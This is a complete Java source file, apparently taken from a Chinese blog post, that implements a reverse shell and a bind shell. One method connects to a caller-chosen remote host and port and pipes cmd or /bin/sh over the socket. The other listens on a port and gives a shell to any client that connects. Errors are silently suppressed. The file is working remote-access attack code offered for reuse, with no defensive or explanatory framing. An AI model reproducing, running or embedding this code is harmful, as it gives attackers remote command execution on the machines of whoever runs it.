import java.net.Socket;
import java.net.ServerSocket;
import java.io.*;
import java.util.*;
public class back
{
static class conn extends Thread{
InputStream is;OutputStream os;public conn(InputStream i,OutputStream o){is=i;os=o;}
public void run(){BufferedReader in;BufferedWriter out;try{in=new BufferedReader(new InputStreamReader(this.is));out=new BufferedWriter(new OutputStreamWriter(this.os));char buffer[]=new char[8000];int l;while((l=in.read(buffer,0,buffer.length))>0){out.write(buffer,0,l);out.flush();}}catch(Exception e){}}
}
public static void backshell(String host,int port)
{
String c=(new Properties(System.getProperties()).getProperty("os.name").indexOf("indows")>0)?"cmd":"/bin/sh";
try{Socket s=new Socket(host,port);Process p=Runtime.getRuntime().exec(c);
(new conn(p.getInputStream(),s.getOutputStream())).start();(new conn(s.getInputStream(),p.getOutputStream())).start();}catch(Exception e){}
}
public static void bindshell(int port)
{
String c=(new Properties(System.getProperties()).getProperty("os.name").indexOf("indows")>0)?"cmd":"/bin/sh";
try
{
Socket s = (new ServerSocket(port)).accept();Process p=Runtime.getRuntime().exec(c);
(new conn(p.getInputStream(),s.getOutputStream())).start();(new conn(s.getInputStream(),p.getOutputStream())).start();
}catch(Exception e){}
}
}
Java bindshell/reverseshell pakage
最新推荐文章于 2024-01-02 16:29:30 发布